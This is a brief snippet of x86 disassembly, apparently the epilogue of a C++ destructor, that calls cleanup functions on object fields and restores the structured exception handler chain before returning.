lea ecx, [esi + 0x188]
mov byte [ebp - 4], 1
call fcn.004a83e4
and byte [ebp - 4], 0
lea ecx, [esi + 0xec]
call fcn.004a83e4
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.0059d2a2
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret